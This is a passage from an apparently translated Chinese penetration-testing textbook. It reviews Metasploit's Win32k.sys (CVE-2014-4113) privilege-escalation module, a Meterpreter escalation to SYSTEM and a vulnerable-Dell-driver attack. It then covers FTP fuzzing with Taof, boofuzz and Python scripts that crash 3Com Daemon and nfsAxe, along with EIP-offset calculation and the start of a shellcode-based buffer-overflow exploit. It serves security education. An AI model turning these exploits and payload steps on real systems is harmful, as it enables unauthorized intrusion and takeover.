接下来是我们的大高潮——反射 DLL 注入。DLL 旨在加载到进程的内存空间中,因此 DLL 注入实际上就是强制用我们选择的 DLL 来加载它。然而,由于 DLL 本身就是一个独立的文件,DLL 注入通常涉及从磁盘上提取 DLL 的代码。反射 DLL 注入让我们可以直接从内存中提取源代码。让我们来看看我们的模块在 Win32k.sys 漏洞利用的背景下如何进行反射 DLL 注入:

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
   if target.arch.first == ARCH_X86
        dll_file_name = 'cve-2014-4113.x86.dll'
    else
        dll_file_name = 'cve-2014-4113.x64.dll'
    end
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
    library_path = ::File.expand_path(library_path)
    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(process, payload.encoded)
    print_status('Payload injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end

让我们一步步地审查这部分,并跳过状态输出:

  • 首先是 if...else** **target.arch.first == ARCH_X86 语句。这不言自明——模块从 Metasploit Data\Exploits 文件夹中提取利用 DLL,这个检查使得架构能够正确地定位目标。

  • library_path 允许模块从攻击者的本地磁盘找到并加载利用 DLL。我希望你的创造性思维已经启动,你应该意识到,你可以修改这个模块,将它指向任何你喜欢的 DLL。

  • exploit_mem, offset = inject_dll_into_process() 是第一次给目标的耳光。注意,inject_dll_into_process() 在包含的 ReflectiveDLLInjection 模块中定义。这个方法接受目标进程和 DLL 的本地路径作为参数,然后返回一个包含两个值的数组——分配的内存地址和偏移量。我们的模块将这些返回值分别存储为 exploit_memoffset

  • payload_mem = inject_into_process() 是第二次给目标的耳光。payload.encoded 是我们的 shellcode(根据需要编码)。此方法仅返回一个值——目标进程内存中 shellcode 的位置。所以,如你所见,在我们的攻击的这一阶段,payload_mem 现在是目标内存中 shellcode 开始的位置。

  • 如果前两种 DLL 注入方法是给目标的耳光,那么 process.thread.create(exploit_mem + offset, payload_mem) 就是我们致命的一击。我们向 process.thread.create() 传递了两个参数:首先是 exploit_mem(加上偏移量),然后是我们在内存中 shellcode 的位置 payload_mem

那么,为什么我们要将 DLL 注入到一个进程中呢?易受攻击的内核模式驱动程序 Win32k.sys 有超过 600 个入口点,允许访问其功能;它处理了许多有用的任务。正如本章之前所讨论的,Win32k.sys 负责窗口管理。Win32k.sys 代表了该操作系统设计中一个必要的邪恶——它所需的强大功能与对用户模式程序的可访问性相结合。

使用 Kali 进行实际的内核攻击

我们有足够的背景知识来与 Kali 坐下来,向一个易受攻击的 Windows 目标发动攻击。此时,你应该启动你的 Windows 7 虚拟机。然而,在这个演示中我们进行了两个阶段,因为这次攻击是本地的。到目前为止,我们一直在研究让我们进入的攻击。这一次,我们已经进入了。对于外行来说,这听起来就像游戏已经赢了,但不要忘记现代操作系统是分层的。曾经有一个黄金时代,远程漏洞会让你在目标 Windows 框上获得完整的SYSTEM权限。如今,这种远程漏洞是一件罕见的事情。对于今天的渗透测试人员来说,更有可能的情况是你会执行一些代码,一个 shell 弹出,你感觉自己无所不能 - 直到你意识到你只有计算机上卑微用户的权限,需要管理员的许可才能安装软件。你有了你的立足点 - 现在,你需要提升你的权限以便能够完成一些工作。

特权升级简介

本章描述的内核攻击是特权升级的一个例子 - 在用户端分配内存并向其中注入代码后,我们攻击内核端的漏洞。因此,你是否注意到我们刚刚审查的模块与我们在之前章节中检查的远程攻击之间的巨大差异?没错 - 没有选项来指定目标 IP 地址。这是一次本地攻击;你唯一需要定义的 IP 地址是你的反向 TCP 连接返回给处理程序的地址。

要完成这个演示,你首先需要建立立足点!由于我们要求你进行一些自学以便跟上,我们将继续使用我们老式的 Windows 7 目标。

新操作系统,旧问题 - 易受攻击的 OEM 驱动程序

一旦你对旧版 Windows 7 的理论和实践感到满意,就开始使用 Metasploit 探索现代内核漏洞。查看名为dell_memory_protect的令人惊叹的后置模块。戴尔笔记本电脑上提供的一个名为DBUtilDrv2.sys的驱动程序在 2.5 和 2.7 版本中存在关键的内核级写-何处漏洞。Metasploit 允许我们对任何 Windows 框执行自带易受攻击驱动程序攻击,无论是戴尔还是其他品牌。这个驱动程序很容易在网上找到,所以抓住它,使用模块安装它并禁用 LSA 保护,享受你的SYSTEM访问。那些在 IDA 中拆解驱动程序的人将获得额外的赞誉!

使用 Metasploit 在 Windows 7 上升级到 SYSTEM

此时,你刚刚从目标那里收到了 Meterpreter 连接 - 你的立足点有效载荷起了作用。我们使用getuid命令来查看我们的身份。嗯 - 用户名FrontDesk回来了。这个用户是否是管理员并不关心我们;重要的是它不是SYSTEM,这是可能的最高权限。即使管理员也无法逃脱某些事情 - 该帐户仍被视为用户模式。

我输入background将我的 Meterpreter 会话发送到后台,以便我可以在msf提示符下工作。尽管 multi/handler 漏洞仍在使用中,但我可以简单地替换它。这次,我们准备好用use exploit/windows/local/ms14_058_track_popup_menu进行内核攻击:

图 13.7 – 在 Metasploit 中管理我们的立足点

图 13.7 – 在 Metasploit 中管理我们的立足点

在我们的截图示例中,我们没有显示可用的选项;所以,试试show options。当你建立漏洞并运行此命令时,你会看到sessions选项。这是针对你已经建立的 Meterpreter 会话的。在实际操作中,你可能在几十台机器上都有立足点;使用这个选项将攻击指向特定的会话。在msf提示符下,使用sessions -l来识别你需要的会话。sessions -i <id>将带你回到某个会话中,这样你可以执行getuid来验证你的权限:

图 13.8 – 在我们建立的会话中发起攻击

图 13.8 – 在我们建立的会话中发起攻击

设置这个可能有点混乱,因为你刚刚配置了带有负载的 handler。你需要设置内核漏洞所使用的负载。在我的示例中,我执行set payload windows/meterpreter/reverse_tcp来创建一个反向连接的 Meterpreter shellcode 负载。

当你准备好时,执行run并祈祷好运。这是一个有趣的攻击;从其性质来看,权限提升可能会失败而不终止你的会话。你会看到屏幕上显示的所有内容都表明攻击成功,且有一个新的 Meterpreter 会话,表明 shellcode 确实已执行——然而,getuid将显示与之前相同的用户。这就是模块作者在状态消息中加入“祈祷成功”的原因,hopefully privileged

图 13.9 – 漏洞完成 – 我们现在是 SYSTEM

图 13.9 – 漏洞完成 – 我们现在是 SYSTEM

在我们的演示中,我们的 Windows 7 Ultimate 主机确实存在漏洞。我们现在以SYSTEM身份运行。游戏结束。

总结

在本章中,我们探讨了 Windows 内核攻击。首先,我们回顾了内核工作原理及攻击者试图利用的内容。在这个理论讨论中,我们回顾了内核的低级管理角色以及这些任务的安全影响,包括调度中断。我们选择了一种漏洞类型,即 NULL 或无效指针解引用漏洞,并对其进行了详细研究,以了解以这种方式利用内核如何使攻击者完全控制系统。我们从 C 代码中指针的回顾开始,然后检查编译后的汇编指令,以了解处理器如何处理指针概念。这个回顾使我们能够理解 NULL 指针是什么,以及它们如何在软件中引起问题。然后,我们介绍了一个特定的内核模式驱动程序 Win32k.sys,并对其指针缺陷进行了低级别的审查。我们通过审查 Metasploit 攻击模块来结束这个讨论,该模块旨在攻击这个特定的内核模式驱动程序。最后,我们通过利用这种攻击对易受攻击的内核模式驱动程序进行特权升级的实际演示来结束本章。

在下一章中,我们将通过对模糊测试的回顾来结束编程基础知识。在本书中,您已经尝试过模糊测试,甚至可能没有意识到。我们将回顾基本原理并进行模糊测试实践。

问题

回答以下问题以测试你对本章的知识掌握情况:

  1. ______ 位于 NT 内核和硬件之间。

  2. ______ 内核可以中断内核模式线程;协作操作系统必须等待线程完成。

  3. 在 C 中,变量前的和符号引用 __________。

  4. 三个四字节能容纳多少个双字节?

  5. AX 是 64 位 RAX 的低 ________。

  6. 无法解引用无效指针 - 真或假?

  7. 我的十六进制转十进制计算器显示 ffffffff 等于 4,294,967,295。为什么 xxxSendMessage() 函数认为它是 -1

  8. DLL 注入和反射性 DLL 注入有什么区别?

进一步阅读

有关本章涵盖的主题的更多信息,请查看以下资源:

第十四章: 模糊测试技术

什么是模糊测试?你已经在本书的其他部分做过一些模糊测试。当我们探索我们易受攻击的 C 程序时,我们会启动 GNU 调试器(GDB),并观察寄存器的状态,同时不断向用户提示输入更多的数据。我们在每次迭代中都会修改输入,尝试引发崩溃或至少一些异常行为。程序的输入可以在某种意义上是格式错误的——无效的格式、添加意外或无效的字符,或者简单地提供过多的数据。模糊测试的目标甚至不一定是一个程序——它可以是实现某种特定协议的网络服务,甚至是生成特定格式文件(如 PDF 或 JPG)的编码器。如果你曾经从事过软件开发,那么这个概念应该非常熟悉。模糊测试可以找到那些可能负面影响用户体验的缺陷,但对于安全从业人员来说,它是一种发现可利用漏洞的方式。

在本章中,我们将深入探讨模糊测试作为一种漏洞研究方法。我们将研究两个具有溢出漏洞的真实程序,但不会透露具体细节。最终,发现编写有效漏洞利用程序所需事实的工作将由我们来完成。

在本章中,我们将涵盖以下主题:

  • 针对服务器的网络变异模糊测试

  • 编写 Python 模糊测试程序,进行客户端和服务器测试

  • 调试目标程序,以便在模糊测试过程中监控内存

  • 使用偏移量发现工具来找到适合我们有效载荷的大小

技术要求

本章你将需要以下工具:

  • Kali Linux

  • 安装了 WinDbg 的 32 位 Windows 7 测试虚拟机

  • Taof for Windows

  • nfsAxe FTP 客户端版本 3.7(适用于 Windows)

  • 3Com Daemon 版本 2r10(适用于 Windows)

网络模糊测试 – 使用 Taof 代理的变异模糊测试

到目前为止,本书一直在探讨可以应用于现场的攻击视角。另一方面,模糊测试(Fuzzing)并不是通常意义上的攻击。它是一种测试方法论;例如,质量保证(QA)工程师经常对用户界面进行模糊测试。那么,作为渗透测试人员,我们何时会利用模糊测试呢?举个例子,假设你刚刚完成了对客户系统的某些侦察工作。你发现有一个服务暴露在互联网上,并且发现它在横幅抓取中显示了其完整的版本信息。你会想要在生产网络上开始对这个服务进行模糊测试,但你可以获取一份副本并利用你从目标系统中获得的信息将其安装到你的实验室中。我们将看一看一些网络模糊测试,你很可能会在和客户合作的前几天后,在酒店房间里进行这些测试。

如其名所示,突变模糊测试 采用给定的数据集,并逐步对其进行突变。在这里,我们将使用一个专门的工具做类似的事情,这个工具能够让你成为一个真正的艺术家。Taof 是用 Python 编写的,因此一旦你安装了依赖项,它就可以在 Linux 上运行。在本次演示中,我将会在 Windows 上运行它。

在我们的演示中,我们将目标 FTP 服务器运行在单独的 Windows 7 主机上,将代理模糊测试器运行在另一个主机上。然而,如果你没有两个 Windows 7 虚拟机的访问权限,你也可以使用单一主机进行相同的测试。

配置 Taof 代理以连接到远程服务

让我们从配置目标服务开始。这对于我们的演示来说很简单:只需执行 3Com Daemon,它会自动启动其服务器。在左侧,你将看到不同的服务;选择 FTP 服务器,然后查看右侧的状态窗口,确认该服务是否正在监听 21 端口。在我们的演示中,我们可以看到监听器已经检测到了本地分配的地址,也就是 192.168.108.189。现在,我们知道该将代理指向哪里:

图 14.1 – 3CDaemon 准备接收请求

图 14.1 – 3CDaemon 准备接收请求

现在,我们可以切换到 Taof 并点击 数据获取,然后选择 网络设置。你可以将本地服务器地址保持为 0.0.0.0,但是可以设置端口为你喜欢的任何值,并记住它,方便在下一步连接到代理时使用。在 远程设置 中输入来自 3Com Daemon 状态窗口的 IP 地址和端口:

图 14.2 – Taof 代理配置

图 14.2 – Taof 代理配置

一旦你点击 确定,你将能够在点击 开始 之前验证你的设置。此时,代理已经在运行。

通过代理进行模糊测试 – 生成合法流量

这个想法很简单——Taof 现在作为一个普通的代理服务器在运行,代表我们处理与远程服务之间的流量。这是为了让 Taof 在突变模糊测试阶段之前学习期望的流量模式。现在,我们只需要通过任何 FTP 客户端连接到代理。在我们的示例中,使用内置的 FTP 客户端,并指定远程地址为 127.0.0.1,端口为 1066,这让我们连接到监听 192.168.108.18921 端口的服务器。

在今天的时代,如果你在 Windows 实验室中使用不安全的协议,而 Windows 防火墙以默认配置运行,那么工作可能会变得非常令人沮丧。你可能需要在进行这些测试之前禁用它。

我们打算发送正常的身份验证数据,所以可以尝试以管理员访客pickles等身份登录 —— 随便你选择。无论如何,这都不重要,因为我们想要模糊测试身份验证过程。当你发送了一些数据后,停止 Taof 代理并返回到请求窗口。你会看到一个请求列表,其中每个条目都有相关内容。浏览这些请求,了解发生了什么。查看 3Com Daemon 的状态窗口,看看这些请求是如何被处理的,也是一个好主意。

现在,让我们通过设置模糊点来确定突变将发生的位置。根据你想要测试的内容,从列表中选择一个请求。在我们的示例中,我们想要搞乱身份验证,因此我选择了我的客户端发送 USER pickles 命令的时刻。选择后,点击设置模糊点

图 14.3 – 从捕获的请求列表中选择模糊点

图 14.3 – 从捕获的请求列表中选择模糊点

如果你像我一样,可能会觉得 Taof 在首次启动时看起来不怎么样。它真正的“劲爆”部分就在下方的模糊请求对话框中。(我总是这样认为 Cain —— 一个看起来不起眼的 GUI,但在引擎盖下却蕴含着强大的力量。话题有点跑偏了。)在这个框中,我们可以看到原始的二进制请求的十六进制表示,以及应用层显示的 ASCII 形式。试着高亮选择请求的部分 —— FromTo 框标识了模糊点的字符位置范围。此外,注意我们可以执行四种不同的测试 —— 让我们保留启用的三个溢出测试:

图 14.4 – 配置模糊请求

图 14.4 – 配置模糊请求

直觉告诉我,我将从完整的字段开始:014。在我们的示例中,我只是想跳过细节,直接让服务崩溃。点击添加,然后确定,再点击模糊

图 14.5 – 观看我们的目标在一次模糊请求中崩溃

图 14.5 – 观看我们的目标在一次模糊请求中崩溃

塔哥击败!我们看到屏幕上显示了+ 缓冲区溢出,随后不断尝试联系服务器,但没有成功。我们知道这个 FTP 服务器存在缓冲区溢出漏洞。然而,我们不知道如何利用这个漏洞。在这一点上,我们需要一个工具,它可以发送有效负载以崩溃服务,并以某种方式让我们恢复到 EIP 的偏移量。我知道你心中的黑客在说什么 —— 为什么不在 Python 中编写呢? 哇,听你这么说我松了一口气。

使用 Kali 和 Python 进行实战模糊测试

这只是我的个人看法,但我认为编写我们自己的模糊测试脚本是必要的。任何编程语言都允许我们构建特殊的有效负载,但 Python 是我个人最喜欢的语言,用于与套接字和文件进行交互。让我们试着理解协议背后发生的事情,然后构建可以按预期方式进行交互的 Python 脚本。如果我们的脚本能“说得通”,目标服务器将乐意接受我们的有效负载。首先让我们看一下脆弱的服务器。

从 Taof 用 Python 的最后一步开始——模糊测试脆弱的 FTP 服务器

我们配置 Taof 对发送到 3Com Daemon 的 USER anonymous 请求进行模糊测试,并看到它崩溃了。我们知道两端发生了什么,但我们需要理解网络中发生了什么。没有比 Wireshark 更好的工具来完成这项任务。设置一个嗅探会话,然后再次运行测试。过滤掉 FTP 通信,看看会话的内容:

图 14.6 – 使用 Wireshark 跟踪 FTP 会话

图 14.6 – 使用 Wireshark 跟踪 FTP 会话

注意,在完成三次握手并建立连接后,服务器发出的第一个通信是 FTP 220 消息。客户端回复 USER anonymous 请求,正如任何 FTP 服务器预期的那样,返回了 331 消息。接着是 PASS 命令,得到 230 消息(如果服务器允许匿名登录的话)。不要打瞌睡——这段特定的顺序对我们来说很重要,因为我们正在用 Python 构建套接字。你可能还记得 第八章,《Python 基础知识》一章中,我们用新建的套接字连接到服务器并发起了通信。

我们必须告诉脚本在发送任何数据之前等待服务器的问候。节省我们大量时间的是,事实上,我们的模糊测试工具通过USER anonymous请求让服务器崩溃——这仅仅是建立会话后的第二个数据包!因此,我们可以用一个非常简短的脚本来解决——在我这里是 10 行。(忘掉最终的状态消息,把模糊测试有效负载放入webclient.send()函数中,你的代码就只剩下八行了。)让我们来看一下:

#!/usr/bin/python 
import socket 
webhost = "192.168.63.130" 
webport = 21 
fuzz = '\x7a' * 10 
webclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
webclient.connect((webhost, webport)) 
webclient.recv(512) 
webclient.send("USER anonymous" + fuzz) 
print("\n\n`* Payload sent! *`\n\n")

这个可爱的程序应该很熟悉。这里的区别非常简单:

  • 我们的第一件事,就是在建立 TCP 会话后立即接收服务器的消息。请注意,我们没有为此设置任何变量;我们只是告诉脚本接收最多 512 字节的数据,但并没有提供读取接收到的消息的方法。

  • 我们发送服务器期望的内容:USER anonymous 请求。不过,我们在构建一个模糊测试工具,所以我们将存储在 fuzz 中的字符串连接起来。

现在,我本打算告诉你关于 Taof 在其主目录中创建的日志,借此你可以查看模糊测试工具做了什么以及它何时检测到崩溃——但我不会这么做。我会留给你自己去发现是什么输入导致了服务器崩溃。

使用 boofuzz 进行探索

Taof 非常适合轻量级和可视化的模糊测试任务,但既然我们已经在使用 Python,我们需要使用一个更深入的现代工具:boofuzz。强大的 Sulley 模糊测试框架已不再支持,因此 boofuzz 是原框架的一个分支和继任者。这个名字向其起源致敬:Sulley 得名于《怪兽公司》中的可爱蓝色怪物,因为它特别毛茸茸。(还是说它是毛发?这是另一本书的讨论。)Sulley 遇到了一位来自人类世界的小女孩,因不知道她的真实名字,便称她为Boo,因为她喜欢给人吓一跳的感觉。Sulley 的角色有点像父亲,所以创造者觉得合适将 Sulley 模糊测试框架的继任者命名为 boofuzz。记住这个小小的流行文化细节,或许能为你下次的答题夜带来惊喜。

关于 boofuzz,最重要的是它不像 Taof 那样是一个独立的程序;它是一个模块,你将其导入到脚本中,然后你用它内置的语法教导它如何与目标互动。因此,自然而然地,包含 boofuzz 强大功能的 Python 脚本将从以下一行开始:

from boofuzz import *

我能听到你内心的小黑客在说:我们可以构建生成器,输出适合我们任务的 boofuzz 脚本!的确如此,而且网上有很多很棒的例子。如果你想练习 HTTP,可以去看看 Boo-Gen。它会把一个普通的 HTTP 请求作为输入,生成一个适用于目标 HTTP 服务的 boofuzz 脚本。现在,我们先来尝试 FTP,但希望你能从中看到它的巨大潜力。

不用多说,因为 boofuzz 是用 Python 编写的,它非常灵活(不需要切换回你的 Windows 攻击盒子)且易于在 Kali 中获取。现在我们就来实现这一点。记住,你需要 Python 3 的pip来完成此操作:

apt update && apt install python3-pip
pip install boofuzz

就是这么简单。获取 boofuzz 并不难——但是有些人抱怨初学者很难适应它。所以,让我们来看一下 boofuzz 语法的基础。

给你的老师留下深刻印象——使用 boofuzz 语法

就像每个 C 程序必须有一个main()函数一样,每个 boofuzz 脚本必须有一个session对象。每个模糊测试会话都需要一个目标,而任何目标都需要定义连接类型;这可以分别通过targetconnection对象来完成。每个 boofuzz 脚本就像一个俄罗斯套娃,定义了在会话中我们的连接类型和目标。它看起来大概是这样的:

session = Session(
target = Target(
connection = TCPSocketConnection("[IP address]", [port])))

你可能会在大多数任务中使用TCPSocketConnection()类,但你也有其他选择,比如 UDP、原始套接字,甚至串行连接。

当人们抱怨 boofuzz 对初学者相对较难时,我想这与模块本身关系不大,更大程度上是因为每个脚本中需要的协议定义。我们需要教会 boofuzz 如何对目标协议进行模糊测试。正如你能想象的,这使得 boofuzz 成为任何处理专有协议的人的必备资源!现在,让我们来看看 FTP。请注意,我们将指向运行在 192.168.108.211 上的目标 FTP 服务:

图 14.7 – 一个用于测试 FTP 的 boofuzz 脚本

图 14.7 – 一个用于测试 FTP 的 boofuzz 脚本

这些每一项都是消息定义——在这个例子中,我们定义了 USERPASSSTOR,每个定义都有子项,指明消息的实际内容。我们将通过之前创建的 session 对象调用这些定义,然后调用 session.fuzz()

图 14.8 – 启动模糊测试

图 14.8 – 启动模糊测试

一旦你用 Python 3 启动了新的脚本,终端窗口会立刻“爆炸”:

图 14.9 – 从命令行运行 Boofuzz

图 14.9 – 从命令行运行 Boofuzz

啊!发生了什么?这是 boofuzz 在运行,并且详细地向你报告每一步。肯定需要一些全局视角来查看。在所有这些噪音中,你可能错过了,但日志中的第一行是 信息:Web 界面可以在 http://localhost:26000 找到。哦,谢谢上帝!让我们在模糊器工作时查看一下它。

图 14.10 – 从控制页面运行 Boofuzz

图 14.10 – 从控制页面运行 Boofuzz

通过这一点,我们看到了 boofuzz 的强大功能和实用性。正如我们所见,工具假设你知道自己在做什么,并且理解协议。也许你有一份 SCADA 环境中某个专有协议的 Wireshark 数据包?boofuzz 是为数不多的工具之一,它允许你通过简单的 Python 风格的目标协议描述,构建一个全面的模糊测试。

让我们总结一下客户端在可模糊服务器上的视角,并查看当与可模糊客户端通信时,服务器所看到的内容。

另一方 – 模糊测试易受攻击的 FTP 客户端

我们可以作为客户端运行模糊器来测试服务,但让我们保持开放的心态——我们可以模糊任何接收我们输入的机制。尽管客户端发起与服务器的对话,但客户端仍然作为对话的一部分接受输入。Taof 允许我们扮演客户端来模糊测试服务——这次,我们测试的是客户端,因此我们需要运行提供模糊输入的服务。

我们已经知道,适用于 Windows 的 nfsAxe FTP 客户端版本 3.7 存在漏洞。现在,让我们扮演一个漏洞发现者的角色,对这个客户端进行模糊测试。我们的 Windows 7 测试盒已经准备好,nfsAxe 客户端也已安装。启动客户端,看看里面的内容:

图 14.11 – 配置易受攻击的 FTP 客户端

图 14.11 – 配置易受攻击的 FTP 客户端

注意,我们可以指定会话凭据,或者选择匿名来使客户端立即使用anonymous:guest登录(前提是服务器支持)。为了简化测试,我们将针对这种行为进行测试。所以,我们知道我们需要一个 FTP 服务器,但它需要对任何输入做出响应,无论其有效性如何,因为目标是将数据发送回去,看看客户端内部发生了什么。还有什么比用 Python 脚本模拟 FTP 服务器更好的方法呢?

使用 Python 编写一个简单的 FTP 模糊测试服务

回到第八章Python 基础知识,我们仅用核心的 socket 和监听端口功能构建了一个服务器骨架。我们还介绍了一种快速运行某个程序的方法(好吧,直到遇到某个事件,比如中断)– while True。为了我们的模糊测试 FTP 服务器,我们会做些不同的事情,因为我们需要模拟一个与客户端通信的合法 FTP 服务器的外观。我们还将引入 Python 中的try/except结构,以便我们能够处理错误和中断。

启动vim fuzzy.py并输入以下程序:

#!/usr/bin/python3 
import socket 
import sys 
host_ip = '0.0.0.0' 
host_port = 21 
try: 
    i = int(input("\n\nHow many bytes of fuzz?\n\n:")) 
except ValueError: 
    print("\n\n* Exception: Byte length must be an integer *")
    sys.exit(0) 
fuzz = b"\x7a" * i 
try: 
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    server.bind((host_ip, host_port)) 
    server.listen(1) 
    print("\n\n` Phuzzy Phil's FuzzTP `\nServer is up.\nListening at %s on port %d" % (host_ip, host_port))
    print("Fuzzing exploit length: %d bytes" % len(fuzz))
    client, address = server.accept() 
    print("Connection accepted from FTP client %s, remote port %d" % (address[0], address[1]))
    client.send(b"220 Connected to FuzzTP Server by Phuzzy Phil\r\n") 
    client.recv(1024) 
    client.send(b"331 OK\r\n") 
    client.recv(1024) 
    client.send(b"230 OK\r\n") 
    client.recv(1024) 
    client.send(b"220 %s\r\n" % fuzz)
    print("\n\nFuzz payload sent! Closing connection, exiting server.\n")
    server.close() 
    client.close() 
except socket.error as error: 
    print("* Error *\n\nDetails:" + str(error))
    server.close() 
    client.close() 
    sys.exit(1) 
except KeyboardInterrupt: 
    print("\n\n* Keyboard interrupt received *\n")
    server.close() 
    client.close() 
    sys.exit(1)

很有趣吧?好吧,让我们看看我们做了些什么:

  • 第一个try/except部分允许用户定义模糊测试的有效载荷。注意,我们通过int(raw_input())来获取输入。如果raw_input()返回的是一个字符串,那么int()会返回一个值错误,我们可以通过except ValueError来处理这个错误。这只是一些漂亮的代码,不是必需的,对于时间紧迫的渗透测试人员来说,我敢打赌你会直接在代码中定义字节长度,并在 Vim 中根据需要进行修改。

  • 我们将模糊测试的有效载荷声明为fuzz,其字节为\x7a。你可以使用任何你喜欢的字符,但我最近有点困,所以我决定使用z。现实生活中我拿不到z,不如把它塞进易受攻击的缓冲区里。

  • 现在,来到了熟悉的部分,任何熟悉 Python 中 socket 的人都会知道 – 我们通过socket.socket(socket.AF_INET, socket.SOCK_STREAM)创建一个 socket,并将其命名为server。然后,我们使用server.bind()server.listen()来启动服务器。注意,我将1传递给server.listen();我们只是测试单个客户端,所以只需要1

  • 如果你用 FTP 客户端或 netcat 连接到我们的模糊小服务器,你会看到一个带有 FTP 服务器响应代码的对话过程。现在,你会看到我们只是在伪造——我们获取一个千字节的响应,然后把它们丢进垃圾桶,一步步发送有效载荷。

  • 我们通过两个 except 语句块来处理错误或 Ctrl + C

陷阱已设置——现在,让我们看看当脆弱客户端不知情地处理我们的模糊负载时会发生什么。

使用 Python 模糊测试工具崩溃目标

不再废话,启动你的模糊测试工具,配置它发送 256 字节数据,然后切换到你的 Windows 7 测试机。打开 nfsAxe FTP 客户端,选择 匿名 访问,并输入 Kali 的 IP 地址作为 Host ID

连接并观察结果:

图 14.12 – 测试服务器的视角 – 发送的有效载荷

图 14.12 – 测试服务器的视角 – 发送的有效载荷

好吧,虽然有点无聊,但它有效。客户端接收到了有效载荷,并在状态窗口中显示了出来:

...

图 14.13 – 脆弱客户端的视角 – 收到的有效载荷

图 14.13 – 脆弱客户端的视角 – 收到的有效载荷

只是为了好玩,再次执行模糊测试工具,这次发送 4,000 字节。客户端会怎么做?

图 14.14 – 脆弱客户端崩溃了!

图 14.14 – 脆弱客户端崩溃了!

胜利,胜利,鸡肉大餐!我们只需要准备我们的利用代码,就能开始执行任意代码了。但等等——我现在听到你内心的黑客声音了。我们知道缓冲区的大小大于 256 字节且小于 4,000 字节。我们是不是得手动在 3,744 字节中找到合适的“甜点”? 你真是机智过人,但不用担心。我们可以简单地生成一串字符,按照一定模式构造,作为我们的模糊负载,观察在客户端 EIP 上被覆盖的字符,识别这个 4 字节的模式,并计算出偏移量。我们本可以手动操作,但 Metasploit 的那些友好人士早就想到了这个问题。

模糊寄存器 – 底层视角

到目前为止我们做的模糊测试研究有效地揭示了这两个 FTP 程序容易受到溢出攻击。现在,我们需要通过观察堆栈来了解幕后发生了什么,方法是发送模糊负载并借助调试器进行分析。当然,这一切都将在调试器下完成。由于我们在 Windows 环境中进行实验,我们会启动 WinDbg 并将其附加到受漏洞影响的软件进程(PID)上。由于我们刚刚玩完 nfsAxe 客户端,我假设它还在你实验室中运行着。不过,保持 3Com Daemon 实验室在手,因为原理是一样的。让我们跟随 Metasploit 的偏移发现工具组合:pattern_createpattern_offset,一起深入挖掘。

使用 Metasploit 工具集计算 EIP 偏移量

进入 Metasploit 中的 tools 目录,路径为 cd /usr/share/metasploit-framework/tools/exploit。首先,我们生成一个 4,000 字节的负载,因为我们知道这个长度足以覆盖内存中的关键部分:

图 14.15 – 生成模式负载

图 14.15 – 生成模式负载

几秒钟后,一个新的文本文件会出现在你的 home 目录中。如果你打开它,你会看到 4,000 字节的垃圾数据。不过别急着下结论——这是一个特别制作的字符串,偏移量查找器 pattern_offset.rb 会用它来找到我们的位置。

现在,再次用 Vim 打开你的模糊测试程序,注释掉那些接收输入的行,并设置 fuzz 变量。在注释行之后添加以下代码:

with open("fuzz.txt") as fuzzfile:
    fuzz = bytes(fuzzfile.read().rstrip("\n"), "utf-8")

请注意,rstrip() 只是简单地去除文件末尾的换行符:

图 14.16 – 修改服务器以传送我们的特殊负载

图 14.16 – 修改服务器以传送我们的特殊负载

保存修改后的模糊测试程序并重新执行。你会注意到负载现在是 4,000 字节长。但别急——我们暂时不要启动 FTP 客户端(我们已经知道它会崩溃)。正如我们在第八章Python 基础》中回顾的那样,让我们将 FTP 客户端与 WinDbg 链接——在 nfsAxe 客户端运行时,打开 WinDbg 并按 F6 键附加到正在运行的进程。找到 ftp.exe 进程并附加到它:

图 14.17 – 在 WinDbg 中附加到易受攻击的客户端

图 14.17 – 在 WinDbg 中附加到易受攻击的客户端

现在,你准备好连接到模糊测试程序了。在客户端接收到 4,000 字节后,它会崩溃——但我们可以看到 EIP 寄存器被 0x43387143 覆盖了。你内心的手动模糊测试者期待的是类似 0x414141410x7a7a7a7a 的值,但不要忘记,我们正在使用一个独特的模式来找到偏移量,正如这里所示:

图 14.18 – 崩溃后查看寄存器内容

图 14.18 – 崩溃后查看寄存器内容

我知道你现在在想什么——我们使用的是 Intel 处理器,所以这是一个小端字节序的 EIP 地址,对吧? 不错,小徒弟。这意味着 0x43387143 实际上是 43 71 38 43。快速查阅十六进制 ASCII 表,结果显示 Cq8C 的模式。记住这个值,待会儿用来进行 pattern_offset.rb 的偏移量计算:

# ./pattern_offset.rb --length 4000 --query Cq8C

图 14.19 – 确定我们的负载到达 EIP 的位置

图 14.19 – 确定我们的负载到达 EIP 的位置

如你所见,pattern_offset 知道要在 pattern_create 提供的给定长度内查找什么。

我知道你在想什么,因为我也曾有过同样的疑问:偏移量是否包括覆盖返回地址的 4 个字节?换句话说,如果偏移量为 2,064 字节,我们需要放入 2,060 字节的填充数据吗?再一次,Metasploit 社区的友好黑客们已经考虑到了这一点,并决定让它保持一致。你看到的就是你在利用代码中需要的部分。因此,我们将再次回到我们的 Python 脚本,将我们的垃圾字节乘以pattern_offset发现的确切偏移量值,然后连接执行将流向的内存位置的十六进制字符串:

fuzz = b"\x7a" * 2064 + b"\xef\xbe\xad\xde"

让我们看看在我们的脚本中这个是什么样子的:

图 14.20 – 测试我们的数学计算

图 14.20 – 测试我们的数学计算

再次执行一次,观察 EIP(以及 Windows 错误消息中的异常偏移量(Exception Offset):值)。恭喜!你已经具备了构造一个有效利用的所有必要部分:

图 14.21 – 有效载荷大小已确认!

图 14.21 – 有效载荷大小已确认!

我们的特别礼物看起来很漂亮,但我们仍然需要做一点数学运算来完成它。

Shellcode 代数 – 将模糊测试数据转化为利用代码

就像一个兴奋的孩子跑去买糖果,我打开msfvenom来生成一些 shellcode。我有一段 Windows Meterpreter 的 shellcode,大小为 341 字节。我的小模糊测试与崩溃脚本有效,但它包含 2,064 字节的z,后面跟着目标地址。为了使其生效,我需要将其转换为 NOPs,然后是 shellcode。这变成了一个简单的数学问题:x + 341 = 2,064

图 14.22 – 在最终计算中考虑 shellcode

图 14.22 – 在最终计算中考虑 shellcode

使用 Python 编写利用代码的一个好处是,msfvenom已经准备好以即取即用的格式输出 shellcode:

图 14.23 – 将代数融入我们的利用代码

图 14.23 – 将代数融入我们的利用代码

